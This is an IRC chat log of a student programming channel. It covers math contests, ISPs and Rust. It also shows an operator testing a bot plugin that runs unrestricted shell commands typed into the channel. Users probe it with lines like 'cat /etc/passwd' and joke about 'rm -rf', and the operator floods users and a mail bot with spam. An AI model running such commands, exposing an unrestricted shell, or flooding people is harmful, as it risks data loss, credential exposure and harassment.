[2015-01-08T19:22:23-0500] <bob_twinkles> something something lisp something parenthesis
[2015-01-08T19:25:22-0500] <Tamini> lol
[2015-01-08T19:25:43-0500] <Tamini> bob_twinkles: hurry up and finish this :(
[2015-01-08T19:34:07-0500] <+JacobEdelman> cory doctor is cool
[2015-01-08T19:34:11-0500] <+JacobEdelman> I met him
[2015-01-08T19:34:19-0500] <alokpathy> Why must everything be on the weekend of 16th-19th?
[2015-01-08T19:34:21-0500] <alokpathy> Why
[2015-01-08T19:34:42-0500] <+JacobEdelman> because
[2015-01-08T19:35:01-0500] <+JacobEdelman> I have a signed copy of one of doctorow's books
[2015-01-08T19:35:05-0500] <alokpathy> PennApps, USACO, FB Hacker Cup
[2015-01-08T19:35:08-0500] <alokpathy> all on the same weekend
[2015-01-08T19:35:21-0500] <+JacobEdelman> martin luther king jr. weekend or whatever
[2015-01-08T19:35:40-0500] <alokpathy> Nyehhh
[2015-01-08T19:38:38-0500] <Tamini> bleh
[2015-01-08T19:38:52-0500] <Tamini> who's solid on multi and physics simultaneously
[2015-01-08T19:38:58-0500] <Tamini> i seem to have stopped being solid at either after hour 13
[2015-01-08T20:13:31-0500] <alokpathy> lolol
[2015-01-08T20:15:08-0500] <Tamini> jesus christ
[2015-01-08T20:15:12-0500] <Tamini> im going to go like
[2015-01-08T20:15:16-0500] <Tamini> immerse myself in humanities now
[2015-01-08T20:17:46-0500] <alokpathy> So much for AIME
[2015-01-08T20:17:48-0500] <alokpathy> xD
[2015-01-08T20:17:54-0500] <Tamini> lol
[2015-01-08T20:38:42-0500] <Tamini> oh oh
[2015-01-08T20:38:44-0500] <Tamini> alokpathy:
[2015-01-08T20:38:50-0500] <alokpathy> ?
[2015-01-08T20:38:54-0500] <Tamini> did i tell you how everyone got mad at me last year because i calculus'd a problem
[2015-01-08T20:39:02-0500] <alokpathy> No LOL
[2015-01-08T20:39:19-0500] <Tamini> like
[2015-01-08T20:39:23-0500] <Tamini> it was a trivial geo problem
[2015-01-08T20:39:29-0500] <Tamini> then i converted to polar and like
[2015-01-08T20:39:42-0500] <Tamini> reduced stuff and took derivatives to find minimum
[2015-01-08T20:40:00-0500] <alokpathy> Wait if it was trivial why were people mad?
[2015-01-08T20:40:04-0500] <alokpathy> And why'd you use calc? xD
[2015-01-08T20:40:12-0500] <+JacobEdelman> calc is fun
[2015-01-08T20:42:15-0500] <Tamini> it was like
[2015-01-08T20:42:18-0500] <Tamini> a beautiful geo problem
[2015-01-08T20:42:25-0500] <Tamini> it was #8ish so not entirely trivial
[2015-01-08T20:42:31-0500] <Tamini> i used calculus because geo
[2015-01-08T20:42:35-0500] <Tamini> and i dont do geo
[2015-01-08T20:43:02-0500] <nezorg> http://arstechnica.com/business/2015/01/on-net-neutrality-internet-providers-are-betrayed-by-one-of-their-own/
[2015-01-08T20:44:34-0500] <alokpathy> JacobEdelman: But if it was a trivial geo problem I'd rather just use normal geo :P
[2015-01-08T20:44:37-0500] <alokpathy> Tamini: Oh okay
[2015-01-08T20:44:42-0500] <alokpathy> Wow xD
[2015-01-08T20:45:05-0500] <alokpathy> Lol I have a feeling MAA is like
[2015-01-08T20:45:14-0500] <alokpathy> "So how do we make it so this can't be solved with calc?"
[2015-01-08T20:45:17-0500] <alokpathy> on every problem
[2015-01-08T20:45:18-0500] <alokpathy> xD
[2015-01-08T20:45:23-0500] <alokpathy> well, every geo or alg
[2015-01-08T20:45:31-0500] <alokpathy> idk how you would use calc on combo XD
[2015-01-08T20:46:08-0500] <Tamini> lolol
[2015-01-08T20:46:13-0500] <Tamini> well
[2015-01-08T20:46:32-0500] <Tamini> by hilbert's nullstellensatz
[2015-01-08T20:46:39-0500] <Tamini> every geo problem is an algebra problem :P
[2015-01-08T20:47:43-0500] <alokpathy> Fine LOL
[2015-01-08T20:49:12-0500] <+LittleBobbyTables> I have to restart my router and modem daily, AND use a VPN just to get greater than 2 Mb/s
[2015-01-08T20:49:16-0500] <+LittleBobbyTables> 'murica.
[2015-01-08T20:49:45-0500] <jwoglom> LittleBobbyTables: what isp?
[2015-01-08T20:49:54-0500] <+LittleBobbyTables> Clear.
[2015-01-08T20:50:18-0500] <jwoglom> ah, isn't that wimax?
[2015-01-08T20:50:30-0500] <+LittleBobbyTables> Mhm
[2015-01-08T20:50:50-0500] <jwoglom> sounds..great ;_;
[2015-01-08T20:51:22-0500] <+LittleBobbyTables> 100% man.
[2015-01-08T20:51:35-0500] <+LittleBobbyTables> I'm probably just going to start paying for my own internet.
[2015-01-08T20:52:02-0500] <nezorg> LittleBobbyTables: ...how does using a vpn get you *faster* internet?
[2015-01-08T20:52:13-0500] <+LittleBobbyTables> fuck if I know
[2015-01-08T20:52:19-0500] <+LittleBobbyTables> goes from ~2 to ~6
[2015-01-08T20:52:37-0500] <+LittleBobbyTables> probably routing shit, cause normally it goes across the country and back before anywhere else.
[2015-01-08T20:53:20-0500] <jwoglom> i have fios, should probably get a VPN
[2015-01-08T20:53:44-0500] <jwoglom> I'm supposed to get 150 down but youtube is unusable in 360p at nights occasionally
[2015-01-08T20:53:46-0500] <jwoglom> it's rediculous
[2015-01-08T20:54:48-0500] <+LittleBobbyTables> 150 down is 3x faster than the fastest internet here.
[2015-01-08T20:56:10-0500] <jwoglom> yay nova
[2015-01-08T22:13:35-0500] <@awe> fios is awesome besides the fact that Verizon is the devil.
[2015-01-08T22:16:36-0500] <jwoglom> They throttle everything, augh
[2015-01-08T22:18:01-0500] <@awe> Really?
[2015-01-08T22:18:08-0500] <@awe> I didn't used to get throttled.
[2015-01-08T22:18:17-0500] <@awe> Guess things have changed a lot though.
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[2015-01-08T23:30:57-0500] <+hardmath123> I went over to Stanford Math Circles again. I forgot how fun it used to be.
[2015-01-08T23:33:36-0500] <alokpathy> Lol what do you guys do there?
[2015-01-08T23:34:01-0500] <+hardmath123> Normally they have some mathematician give a lecture.
[2015-01-08T23:34:15-0500] <+hardmath123> And it's really interactive.
[2015-01-08T23:45:03-0500] <alokpathy> :O
[2015-01-08T23:45:08-0500] <alokpathy> Really?
[2015-01-08T23:45:14-0500] <alokpathy> I thought it was just like
[2015-01-08T23:45:22-0500] <alokpathy> a bunch of kids doing math
[2015-01-08T23:45:29-0500] <alokpathy> dang I want to do that
[2015-01-09T00:11:02-0500] <nezorg> heheh
[2015-01-09T00:11:08-0500] <nezorg> I just discovered conkeror
[2015-01-09T00:11:14-0500] <nezorg> and it's wonderful <3
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[2015-01-09T00:12:33-0500] <@awe> % ls
[2015-01-09T00:12:33-0500] <awebot> Cargo.lock Cargo.toml README.md config.json data plugins src target 
[2015-01-09T00:12:36-0500] <@awe> % cat Cargo.toml
[2015-01-09T00:12:36-0500] <awebot> [package]  name = "awebot" version = "0.0.1" authors = ["Aaron Weiss <aaronweiss74@gmail.com>"]  [dependencies.irc]  irc = "*" features = ["encode", "ssl"]  [dependencies.openssl]  openssl = "*" crate-type = "dylib" 
[2015-01-09T00:12:42-0500] <@awe> Cool.
[2015-01-09T00:12:51-0500] <nezorg> % cat /etc/passwd
[2015-01-09T00:12:54-0500] <nezorg> :(
[2015-01-09T00:12:55-0500] <@awe> :p
[2015-01-09T00:13:06-0500] <+LittleBobbyTables> % ls ..
[2015-01-09T00:13:11-0500] <@awe> Password's are shadowed anyway.
[2015-01-09T00:13:27-0500] <@awe> and it's OS X, so, you'd see like 50 different non-user accounts.
[2015-01-09T00:13:27-0500] <nezorg> methinks it restricts it to ops or maybe just awe
[2015-01-09T00:13:31-0500] <@awe> just awe.
[2015-01-09T00:14:05-0500] <@awe> % cat Cargo.toml
[2015-01-09T00:14:05-0500] <awebot>          
[2015-01-09T00:14:24-0500] <@awe> Hmm.
[2015-01-09T00:14:30-0500] <@awe> I thought I have send_privmsg set to automatically split newlines.
[2015-01-09T00:14:34-0500] <@awe> (and send them as separate messages)
[2015-01-09T00:14:47-0500] <+LittleBobbyTables> Stop being logical :(
[2015-01-09T00:14:59-0500] <@awe> Oh, nope, that's not what it does.
[2015-01-09T00:15:03-0500] <jwoglom> % ls /
[2015-01-09T00:15:03-0500] <@awe> Also, for the curious.
[2015-01-09T00:15:05-0500] <@awe> % ls ..
[2015-01-09T00:15:05-0500] <awebot>    
[2015-01-09T00:15:08-0500] <@awe> Erm...
[2015-01-09T00:15:26-0500] <+LittleBobbyTables> % (python -c "print 123")
[2015-01-09T00:15:29-0500] <+LittleBobbyTables> :(
[2015-01-09T00:15:30-0500] <@awe> % ls ..
[2015-01-09T00:15:40-0500] <jwoglom> % whoami
[2015-01-09T00:15:46-0500] <@awe> % ls ..
[2015-01-09T00:15:50-0500] <@awe> awebot: pls
[2015-01-09T00:15:56-0500] <@awe> OH.
[2015-01-09T00:16:01-0500] <@awe> Wait for it.
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[2015-01-09T00:16:17-0500] <@awe> Eh.
[2015-01-09T00:16:19-0500] <@awe> Will just restart it.
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[2015-01-09T00:16:24-0500] <jwoglom> % whoami
[2015-01-09T00:16:24-0500] <@awe> % ls ..
[2015-01-09T00:16:25-0500] <awebot> Xot awebot awebot-plugins cookie-rs crypto.rs dnd dylib_bug git-scrub git2-rs hyper irc irc-docs irc-services iron libawebot mailbot markov markov4sjw markov4tumblr monad ms-rs mud ncurses-rs nx-rs otpi plugin racer rfcs rust rust-bindgen rust-cocoa rust-encoding rust-openssl rustc-serialize rustlike serialize-test servo sjwbot sl-rust testing-irc time zentzugabekeria 
[2015-01-09T00:16:28-0500] <@awe> There you go.
[2015-01-09T00:16:32-0500] <@awe> All my Rust projects. :D
[2015-01-09T00:16:36-0500] <@awe> (not all of them are written by me)
[2015-01-09T00:16:42-0500] <@awe> (some are forks)
[2015-01-09T00:16:45-0500] <@awe> % whoami
[2015-01-09T00:16:46-0500] <awebot> Aaron 
[2015-01-09T00:17:08-0500] <jwoglom> /nick awe, % rm -rf
[2015-01-09T00:17:10-0500] <jwoglom> erm
[2015-01-09T00:17:12-0500] <jwoglom> hi
[2015-01-09T00:17:14-0500] <@awe> lol
[2015-01-09T00:17:25-0500] <@awe> It doesn't have root privileges, fortunately.
[2015-01-09T00:17:45-0500] <@awe> Although, % rm -rf ~/Dropbox would be a huge chore.
[2015-01-09T00:18:28-0500] <@awe> As would rm -rf ..
[2015-01-09T00:18:36-0500] <@awe> % ls ~
[2015-01-09T00:18:37-0500] <awebot> No output.
[2015-01-09T00:18:42-0500] <@awe> Hah, ~ doesn't work.
[2015-01-09T00:18:50-0500] <@awe> % ls /User/Aaron/Documents
[2015-01-09T00:18:50-0500] <awebot> No output.
[2015-01-09T00:18:52-0500] <jwoglom> awe: does it have any restrictions on what it can execute?
[2015-01-09T00:18:55-0500] <@awe> % ls /Users/Aaron/Documents
[2015-01-09T00:18:55-0500] <awebot> IRC Logs MumbleAutomaticCertificateBackup.p12 PDFs Parallels Programming UMass 
[2015-01-09T00:18:57-0500] <@awe> jwoglom: lolno
[2015-01-09T00:19:03-0500] <jwoglom> this sounds like..a bad idea
[2015-01-09T00:19:10-0500] <@awe> I just unload it.
[2015-01-09T00:19:20-0500] <@awe> It spams this in the console
[2015-01-09T00:19:21-0500] <@awe> !!! WARNING: You have a very dangerous system plugin loaded. !!!
[2015-01-09T00:19:37-0500] <@awe> (So that I won't forget)
[2015-01-09T00:19:43-0500] <@awe> % cargo build
[2015-01-09T00:19:43-0500] <awebot> No output.
[2015-01-09T00:19:47-0500] <@awe> % cargo run
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[2015-01-09T00:19:50-0500] <@awe> xD
[2015-01-09T00:19:54-0500] <@awe> % cargo run
[2015-01-09T00:19:55-0500] <awebot_>      Running `target/awebot` :irc.pdgn.co NOTICE Auth :*** Looking up your hostname...  !!! WARNING: You have a very dangerous system plugin loaded. !!! :irc.pdgn.co NOTICE Auth :*** Could not resolve your hostname: Domain name not found; using your IP address (68.232.186.219) instead.  !!! WARNING: You have a very dangerous system plugin loaded. !!! :irc.pdgn.co CAP 026AADW1S ACK :multi-prefix  !!! WARNING: You have a very dangerous system plugin loaded
[2015-01-09T00:20:02-0500] <@awe> meta af.
[2015-01-09T00:20:12-0500] <jwoglom> lol.
[2015-01-09T00:20:25-0500] <@awe> % pkill awebot
[2015-01-09T00:20:25-0500] <awebot_> No output.
[2015-01-09T00:20:30-0500] <@awe> ?
[2015-01-09T00:20:33-0500] <@awe> % pkill cargo
[2015-01-09T00:20:33-0500] <awebot_> No output.
[2015-01-09T00:20:37-0500] <@awe> really?
[2015-01-09T00:20:42-0500] <@awe> % pgrep awebot
[2015-01-09T00:20:42-0500] <awebot_> No output.
[2015-01-09T00:20:48-0500] <@awe> % ps aux | grep awe
[2015-01-09T00:20:49-0500] <awebot_> No output.
[2015-01-09T00:20:51-0500] <@awe> % ps aux
[2015-01-09T00:20:53-0500] awebot_ (awebot@pdgn-fpo.kdo.od786m.IP) left IRC (RecvQ exceeded)
[2015-01-09T00:20:53-0500] <awebot>      Running `target/awebot` :irc.pdgn.co NOTICE Auth :*** Looking up your hostname...  !!! WARNING: You have a very dangerous system plugin loaded. !!! :irc.pdgn.co NOTICE Auth :*** Could not resolve your hostname: Domain name not found; using your IP address (68.232.186.219) instead.  !!! WARNING: You have a very dangerous system plugin loaded. !!! :irc.pdgn.co CAP 026AADW1R ACK :multi-prefix  !!! WARNING: You have a very dangerous system plugin loaded.
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[2015-01-09T00:20:57-0500] <@awe> Wat.
[2015-01-09T00:21:00-0500] <@awe> % ps aux
[2015-01-09T00:21:02-0500] awebot_ (awebot@pdgn-fpo.kdo.od786m.IP) left IRC (RecvQ exceeded)
[2015-01-09T00:21:03-0500] <awebot>      Running `target/awebot` :irc.pdgn.co NOTICE Auth :*** Looking up your hostname...  !!! WARNING: You have a very dangerous system plugin loaded. !!! :irc.pdgn.co NOTICE Auth :*** Could not resolve your hostname: Domain name not found; using your IP address (68.232.186.219) instead.  !!! WARNING: You have a very dangerous system plugin loaded. !!! :irc.pdgn.co CAP 026AADW1V ACK :multi-prefix  !!! WARNING: You have a very dangerous system plugin loaded.
[2015-01-09T00:21:03-0500] <awebot> No output.
[2015-01-09T00:21:03-0500] <awebot> No output.
[2015-01-09T00:21:03-0500] <awebot> No output.
[2015-01-09T00:21:03-0500] <awebot> No output.
[2015-01-09T00:21:05-0500] awebot (awebot@pdgn-fpo.kdo.od786m.IP) left IRC (RecvQ exceeded)
[2015-01-09T00:21:10-0500] <@awe> LOL
[2015-01-09T00:21:11-0500] <@awe> Okay.
[2015-01-09T00:21:26-0500] <@awe> So, here's what happened.
[2015-01-09T00:21:51-0500] <@awe> awebot was waiting until awebot_'s execution finished
[2015-01-09T00:22:15-0500] <@awe> ps aux caused awebot_ to crash
[2015-01-09T00:22:26-0500] <@awe> awebot then proceeded to process all the commands that it hadn't processed
[2015-01-09T00:22:28-0500] <@awe> reached ps aux and crashed.
[2015-01-09T00:22:29-0500] <@awe> :D
[2015-01-09T00:22:37-0500] <@awe> Well, actually, it didn't crash.
[2015-01-09T00:22:42-0500] <@awe> It caused the server to close the connection.
[2015-01-09T00:23:01-0500] <@awe> which, because awebot doesn't handle auto-reconnecting, resulted in a crash.
[2015-01-09T00:23:58-0500] <jwoglom> lol nice
[2015-01-09T00:24:28-0500] <@awe> Let's see if I can have awebot auto-reconncet.
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[2015-01-09T00:26:09-0500] <@awe> % ps aux
[2015-01-09T00:26:11-0500] awebot (awebot@pdgn-fpo.kdo.od786m.IP) left IRC (RecvQ exceeded)
[2015-01-09T00:26:13-0500] awebot (awebot@pdgn-fpo.kdo.od786m.IP) joined the channel
[2015-01-09T00:26:15-0500] <@awe> Boom.
[2015-01-09T00:26:24-0500] <@awe> dis bitch just won't die.
[2015-01-09T00:26:55-0500] <@awe> % ps aux
[2015-01-09T00:26:56-0500] awebot (awebot@pdgn-fpo.kdo.od786m.IP) left IRC (RecvQ exceeded)
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[2015-01-09T00:28:12-0500] awebot (awebot@pdgn-fpo.kdo.od786m.IP) joined the channel
[2015-01-09T00:28:15-0500] awebot (awebot@pdgn-fpo.kdo.od786m.IP) left IRC (Killed (Pidgey (Your behavior is not conducive to the desired environment.)))
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[2015-01-09T00:28:18-0500] <@awe> :D
[2015-01-09T00:28:20-0500] <@awe> He won't die.
[2015-01-09T00:28:26-0500] <@awe> I'm so proud of you, awebot.
[2015-01-09T00:28:28-0500] <jwoglom> >Killed (Pidgey (Your behavior is not conducive to the desired environment.))
[2015-01-09T00:28:49-0500] <@awe> Server-op kills are masked by Pidgey.
[2015-01-09T00:28:55-0500] <@awe> So, Pidgey performs all kill commands.
[2015-01-09T00:29:04-0500] <@awe> Not that there's much of a point since I'm the only server op and therefore you know it was me.
[2015-01-09T00:29:22-0500] <@awe> The message is just the default message.
[2015-01-09T00:30:41-0500] <@awe> I unloaded %, by the way.
[2015-01-09T00:30:46-0500] <@awe> % ls
[2015-01-09T00:31:11-0500] <@awe> join #study
[2015-01-09T00:31:18-0500] <@awe> Good boy.
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[2015-01-09T00:45:06-0500] <@awe> @flood #study 2 hi
[2015-01-09T00:45:25-0500] <@awe> @flood #study 2 hi
[2015-01-09T00:45:28-0500] <@awe> @flood #study 2
[2015-01-09T00:45:34-0500] <@awe> Perfect.
[2015-01-09T00:45:37-0500] <Tamini> lol
[2015-01-09T00:45:45-0500] <@awe> @flood #study 255
[2015-01-09T00:46:01-0500] <Tamini> awe
[2015-01-09T00:46:02-0500] <Tamini> pls
[2015-01-09T00:46:05-0500] <@awe> What?
[2015-01-09T00:46:10-0500] <@awe> You want some?
[2015-01-09T00:46:26-0500] <@awe> @flood Tamini 255 u want sum o dis
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[2015-01-09T00:46:31-0500] <@awe> @flood Tamini 255 u want sum o dis
[2015-01-09T00:46:31-0500] awebot (awebot@pdgn-fpo.kdo.od786m.IP) left IRC (RecvQ exceeded)
[2015-01-09T00:46:33-0500] awebot (awebot@pdgn-fpo.kdo.od786m.IP) joined the channel
[2015-01-09T00:46:34-0500] <@awe> Fuck
[2015-01-09T00:46:37-0500] <@awe> @flood Tamini 100 u want sum o dis
[2015-01-09T00:46:41-0500] <+hardmath123> ...
[2015-01-09T00:46:41-0500] <@awe> There we go.
[2015-01-09T00:46:43-0500] <jwoglom> erm wat
[2015-01-09T00:46:51-0500] <+hardmath123> @flood #pdgn 1 what
[2015-01-09T00:46:54-0500] <@awe> awebot should be spamming Tamini now.
[2015-01-09T00:46:59-0500] <@awe> hardmath123: admin only, sorry bb
[2015-01-09T00:47:00-0500] <jwoglom> how is a @flood command a good idea? :P
[2015-01-09T00:47:04-0500] <Tamini> ./ignore awebot
[2015-01-09T00:47:07-0500] <@awe> Tamini: :9
[2015-01-09T00:47:10-0500] <Tamini> :P
[2015-01-09T00:47:12-0500] <@awe> Tamini: pls no
[2015-01-09T00:47:15-0500] <@awe> Tamini: awebot loves you
[2015-01-09T00:47:20-0500] <@awe> @flood Tamini 20 I love you!
[2015-01-09T00:47:23-0500] <Tamini> LOL
[2015-01-09T00:47:26-0500] <Tamini> still ignored
[2015-01-09T00:47:28-0500] <@awe> :c
[2015-01-09T00:47:33-0500] <Tamini> awe, awe
[2015-01-09T00:47:35-0500] <@awe> @flood #pdgn 3 yes?
[2015-01-09T00:47:36-0500] <Tamini> why are things difficult
[2015-01-09T00:47:37-0500] <Tamini> :(
[2015-01-09T00:47:58-0500] <jwoglom> it..doesn't look like it's working
[2015-01-09T00:48:10-0500] <+hardmath123> I made a very good pun today.
[2015-01-09T00:48:20-0500] <+hardmath123> Someone gave me "dark chocolate with sea salt"
[2015-01-09T00:48:25-0500] <+hardmath123> and I didn't like it
[2015-01-09T00:48:27-0500] <+hardmath123> so I called it
[2015-01-09T00:48:29-0500] <awebot> yes?
[2015-01-09T00:48:30-0500] <awebot> yes?
[2015-01-09T00:48:31-0500] <+hardmath123> (wait for it)
[2015-01-09T00:48:31-0500] <awebot> yes?
[2015-01-09T00:48:43-0500] <+hardmath123> "a salt on the senses"
[2015-01-09T00:48:45-0500] <+hardmath123> get it?
[2015-01-09T00:48:46-0500] <+hardmath123> :D
[2015-01-09T00:48:55-0500] <jwoglom> ba-dum-tssss
[2015-01-09T00:49:10-0500] • hardmath123: is desparate for someone to get it.
[2015-01-09T00:49:16-0500] <Tamini> i got it
[2015-01-09T00:49:18-0500] <Tamini> :p
[2015-01-09T00:49:30-0500] <jwoglom> it's not that hard to get :P
[2015-01-09T00:49:55-0500] <+hardmath123> tell that to the kids in my math class
[2015-01-09T00:50:03-0500] <@awe> hardmath123: hah
[2015-01-09T00:50:05-0500] <@awe> hardmath123: it was funny
[2015-01-09T00:50:09-0500] <+hardmath123> i didn't know it was humanly possible to roll your eyes so far back you only see whites
[2015-01-09T00:50:12-0500] <@awe> @flood hardmath123 3 ur fanny
[2015-01-09T00:50:22-0500] <jwoglom> having it written out rather than saying it verbally probably makes it easier to see
[2015-01-09T00:52:39-0500] <Tamini> lol
[2015-01-09T00:52:40-0500] <Tamini> wait awe
[2015-01-09T00:52:44-0500] <Tamini> yknow what would be funny
[2015-01-09T00:53:21-0500] <@awe> What?
[2015-01-09T00:53:23-0500] <Tamini> if you did @flood mainbot 255 @tell *someone not online right now* hello
[2015-01-09T00:53:29-0500] <Tamini> would be a nice surprise to wake up to
[2015-01-09T00:53:32-0500] <@awe> lol
[2015-01-09T00:53:37-0500] <Tamini> i recommend jacob :P
[2015-01-09T00:53:50-0500] <Tamini> mailbot, btw :P
[2015-01-09T00:53:59-0500] <@awe> @flood mailbot 255 @tell JacobEdelman trololo
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[2015-01-09T00:54:02-0500] <@awe> Nope.
[2015-01-09T00:54:03-0500] <@awe> @flood mailbot 255 @tell JacobEdelman trololo
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[2015-01-09T00:54:04-0500] <+hardmath123> @tell mailbot who are you
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[2015-01-09T00:54:07-0500] <@awe> RecvQ too big
[2015-01-09T00:54:08-0500] <mailbot> hardmath123: I'm right here!
[2015-01-09T00:54:09-0500] <@awe> @flood mailbot 250 @tell JacobEdelman trololo
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[2015-01-09T00:54:24-0500] <@awe> And now awebot is throttled
[2015-01-09T00:54:38-0500] <+LittleBobbyTables> I may not be going to defcon
[2015-01-09T00:54:48-0500] <+LittleBobbyTables> TI5 is more important
[2015-01-09T00:54:52-0500] <jwoglom> and that's why you don't try flooding people with messages
[2015-01-09T00:54:54-0500] <jwoglom> :P
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[2015-01-09T00:56:43-0500] <@awe> @flood mailbot 150 @tell JacobEdelman trololo
[2015-01-09T00:56:45-0500] <@awe> There we go.
[2015-01-09T00:57:03-0500] <@awe> jwoglom: think of it as uhh... rigorous stress testing of my software.
[2015-01-09T00:57:23-0500] <Tamini> or just
[2015-01-09T00:57:23-0500] <Tamini> yknow
[2015-01-09T00:57:26-0500] <Tamini> jacob trolling
[2015-01-09T00:57:41-0500] <jwoglom> awe: then shouldn't it be a unit test? :P
[2015-01-09T00:59:04-0500] <@awe> Well, no, it should be an integration test.
[2015-01-09T01:25:07-0500] <ubuntor> wat
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[2015-01-09T01:29:58-0500] <@awe> Stress testing is a sort of integration test, not a unit test.
[2015-01-09T01:30:08-0500] <@awe> it tests the whole program, not a specific closed-off section of it.
[2015-01-09T01:36:03-0500] <bob_twinkles> either someone who doesn't know what their doing is fucking with verison's network setup or somewhere there's a flapping central office
[2015-01-09T01:38:13-0500] <@awe> Both?
[2015-01-09T01:38:16-0500] <@awe> Definitely both.
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[2015-01-09T07:39:58-0500] <+JacobEdelman> @tell hyper did you find out about uneval from me?
[2015-01-09T07:39:58-0500] <mailbot> JacobEdelman: I'll let them know!
[2015-01-09T07:39:58-0500] <mailbot> JacobEdelman: 6 hours ago, awebot said trololo.
[2015-01-09T07:39:58-0500] <mailbot> JacobEdelman: 6 hours ago, awebot said trololo.
[2015-01-09T07:39:58-0500] <mailbot> JacobEdelman: 6 hours ago, awebot said trololo.
[2015-01-09T07:39:58-0500] <mailbot> JacobEdelman: 6 hours ago, awebot said trololo.
[2015-01-09T07:39:58-0500] <mailbot> JacobEdelman: 6 hours ago, awebot said trololo.
[2015-01-09T07:39:58-0500] <mailbot> JacobEdelman: 6 hours ago, awebot said trololo.
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[2015-01-09T07:39:58-0500] <mailbot> JacobEdelman: 6 hours ago, awebot said trololo.
[2015-01-09T07:39:58-0500] <mailbot> JacobEdelman: 6 hours ago, awebot said trololo.
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[2015-01-09T07:40:01-0500] <+JacobEdelman> wow
[2015-01-09T07:40:03-0500] <+JacobEdelman> typical
[2015-01-09T07:40:16-0500] <+JacobEdelman> mailbot is dead
[2015-01-09T07:40:17-0500] <+JacobEdelman> aww
[2015-01-09T07:40:22-0500] <+JacobEdelman> awe!
[2015-01-09T07:40:25-0500] <+JacobEdelman> mailbot is dead
[2015-01-09T07:40:27-0500] <+JacobEdelman> ressurect it
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[2015-01-09T10:13:01-0500] <+hardmath123> awe: when you get throttled, why does it start throwing lots of whitespace at you?
[2015-01-09T11:02:22-0500] <@awe> JacobEdelman: mailbot died because I tried to spam you.
[2015-01-09T11:02:26-0500] <@awe> hardmath123: ???
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[2015-01-09T11:04:36-0500] <+JacobEdelman> and now mailbot quit
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[2015-01-09T11:02:26-0500] <@awe> hardmath123: ???
[2015-01-09T11:04:36-0500] <+JacobEdelman> and now mailbot quit
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[2015-01-09T11:16:53-0500] <@awe> That was because I rebooted my computer.
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[2015-01-09T11:48:12-0500] <The_Master> awe:what starbound tech should I get? I have a blank tech card.
[2015-01-09T11:48:40-0500] <@awe> Whatever you want.
[2015-01-09T11:48:44-0500] <@awe> It's all preference.
[2015-01-09T11:49:47-0500] <The_Master> I got pulse jump
[2015-01-09T11:50:22-0500] <@awe> Ok.
[2015-01-09T12:14:31-0500] <Hyper> JacobEdelman: yes
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[2015-01-09T11:50:23-0500] <@awe> Ok.
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[2015-01-09T11:50:23-0500] <@awe> Ok.
[2015-01-09T12:14:32-0500] <Hyper> JacobEdelman: yes
[2015-01-09T12:37:57-0500] <+JacobEdelman> Hyper: ah, I thought so
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[2015-01-09T11:50:23-0500] <@awe> Ok.
[2015-01-09T12:14:32-0500] <Hyper> JacobEdelman: yes
[2015-01-09T12:37:57-0500] <+JacobEdelman> Hyper: ah, I thought so
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[2015-01-09T11:50:23-0500] <@awe> Ok.
[2015-01-09T12:14:32-0500] <Hyper> JacobEdelman: yes
[2015-01-09T12:37:57-0500] <+JacobEdelman> Hyper: ah, I thought so
[2015-01-09T14:48:26-0500] <Pharyngeal> awe: Excited about the Rust alpha?
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[2015-01-09T15:26:02-0500] <The_Master> awe: starbound?
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[2015-01-09T11:50:23-0500] <@awe> Ok.
[2015-01-09T12:14:32-0500] <Hyper> JacobEdelman: yes
[2015-01-09T12:37:57-0500] <+JacobEdelman> Hyper: ah, I thought so
[2015-01-09T14:48:26-0500] <Pharyngeal> awe: Excited about the Rust alpha?
[2015-01-09T15:26:02-0500] <The_Master> awe: starbound?
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[2015-01-09T16:01:26-0500] <@awe> Pharyngeal: yeah, sure.
[2015-01-09T16:01:38-0500] <@awe> Pharyngeal: my code breaking a little less is good news.
[2015-01-09T16:08:30-0500] <Pharyngeal> My new boss is a moron
[2015-01-09T16:17:09-0500] <@awe> Sounds about right.
[2015-01-09T16:17:11-0500] <@awe> Why's that though?
[2015-01-09T16:18:08-0500] <The_Master> awe: I think the starbound server needs to be restarted, I get stuck in a black void when trying to go to outposts.
[2015-01-09T16:18:15-0500] <@awe> Hmm...
[2015-01-09T16:18:16-0500] <@awe> Okay.
[2015-01-09T16:18:17-0500] <@awe> Will do.
[2015-01-09T16:19:22-0500] <@awe> Done.
[2015-01-09T16:52:51-0500] <@awe> Pharyngeal: whatever new things they did this past night in Rust though...
[2015-01-09T16:52:56-0500] <@awe> Pharyngeal: I'd call it a regression.
[2015-01-09T16:53:08-0500] <@awe> Pharyngeal: Suddenly, I can't use [] anywhere. I have to use [..] except for in some contexts where I have to use &*.
[2015-01-09T16:59:39-0500] <@awe> Or not, I have to use &something[] everywhere.
[2015-01-09T17:46:03-0500] <@awe> And after about an hour, irc is compiling again.
[2015-01-09T18:05:35-0500] <nezorg> with 1.0alpha or a nightly?
[2015-01-09T18:11:17-0500] <@awe> nightly.
[2015-01-09T18:11:43-0500] <@awe> Still no reason to use the stable branch.
[2015-01-09T18:12:12-0500] <@awe> Especially since you can't use any unstable standard library APIs in stable branch code.
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[2015-01-09T18:28:30-0500] <@awe> Out of curiosity, who would be interested in me working on an IRCd to replace ours?
[2015-01-09T18:38:28-0500] <@awe> Pharyngeal: So, for the record, HypeIRC is at least more reliable for me than the Slack one.
[2015-01-09T18:38:40-0500] <@awe> Pharyngeal: I lose connection to the Slack one way more often.
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[2015-01-09T18:38:40-0500] <@awe> Pharyngeal: I lose connection to the Slack one way more often.
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[2015-01-09T20:32:12-0500] <+hardmath123> awe: A handcoded ircd would be cool.
[2015-01-09T20:33:38-0500] <@awe> I mean, they're all hand-coded.
[2015-01-09T20:36:06-0500] <+hardmath123> well yeah
[2015-01-09T20:36:20-0500] <+hardmath123> a coded-by-someone-we-know ircd then
[2015-01-09T21:19:00-0500] <alokpathy> So quiet .-.
[2015-01-09T21:24:13-0500] <+hardmath123> well
[2015-01-09T21:24:27-0500] <+hardmath123> I could post a weird picture
[2015-01-09T21:26:05-0500] <+hardmath123> https://www.dropbox.com/s/e0q480fxu8nl93f/i.jpeg?dl=0
[2015-01-09T21:30:23-0500] <alokpathy> Lol Gunn has its own IRC channel?
[2015-01-09T21:30:54-0500] <@awe> hardmath123: why isn't it here? :c
[2015-01-09T21:34:12-0500] <+hardmath123> awe: because it was made before I was invited on here.
[2015-01-09T21:34:30-0500] <+hardmath123> alokpathy: yes, but that wasn't the part of the board you were supposed to lol at.
[2015-01-09T21:35:03-0500] <alokpathy> There are a lot of things on the board. I'm not sure what I'm supposed to be looking at xD
[2015-01-09T21:35:06-0500] <@awe> Well, you should move it here. ;)
[2015-01-09T21:35:25-0500] <alokpathy> The Kartik part?
